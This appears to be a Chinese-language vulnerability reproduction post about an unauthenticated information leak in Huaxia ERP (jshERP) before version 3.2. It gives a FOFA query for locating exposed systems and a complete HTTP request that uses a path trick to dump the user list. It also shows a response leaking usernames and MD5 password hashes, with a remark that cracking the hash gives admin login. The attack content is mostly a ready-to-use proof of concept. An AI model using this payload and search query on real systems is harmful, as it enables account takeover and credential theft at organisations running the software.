

H7-2华夏-ERP-ImformationLeakage

漏洞描述:

华夏ERP 3.1版本中存在的问题，被评定为有问题的。该问题影响了文件/user/getAllList的某些未知处理过程。未经身份验证的攻击者可以利用此问题获取后台用户名密码列表。可导致后台被控，漏洞已被公开披露，可能被利用。

影响版本:

华夏ERP < 3.2

网站图片:



网络测绘:

fofa语法:

FOFA: "jshERP-boot"

漏洞复现:

payload:

```
GET /jshERP-boot/user/a.ico/./getAllList HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图:

Request

1 GET /jshERP-boot/user/a.ico/./getAllList HTTP/1.1

2 Host: [REDACTED]

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36

4 sec-ch-ua-platform: "Windows"

5 Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8

6 Accept-Encoding: gzip, deflate

7 Accept-Language: zh-CN,zh;q=0.9

8 Connection: close

Responses 810bytes / 95ms

1 HTTP/1.1 200

2 Server: nginx

3 Date: Mon, 15 Jan 2024 16:29:49 GMT

4 Content-Type: application/json; charset=utf-8

5 Connection: close

6 Content-Length: 810

7

8 {"code":200,"data":{"userList":[{"id":63,"password":"e10adc3949ba59abbe56e057f20f88","email":"666666@qq.com","phonenum":"112312","description":"","remark":null,"tenantId":"loginName":"admin","password":"e10adc3949","department":null,"email":null,"phonenum":"description":null,"remark":null,"tenantId":"loginName":"test123","password":"e10adc39","department":null,"email":"7777777@qq.com","status":0,"description":"","remark":null,

密码md5解码即可登录

输入让你无语的MD5

e10adc3949ba59abbe56e0

解密

md5
123456

CSDN @OldBoy_G

零售管理

采购管理

销售管理

仓库管理

财务管理

报表查询

商品管理

基本资料

系统管理

首页

今日采购

今日销售

今日零售

本月累计采购

昨日采购

昨日销售

昨日零售

今年累计采购

采购统计

销售统计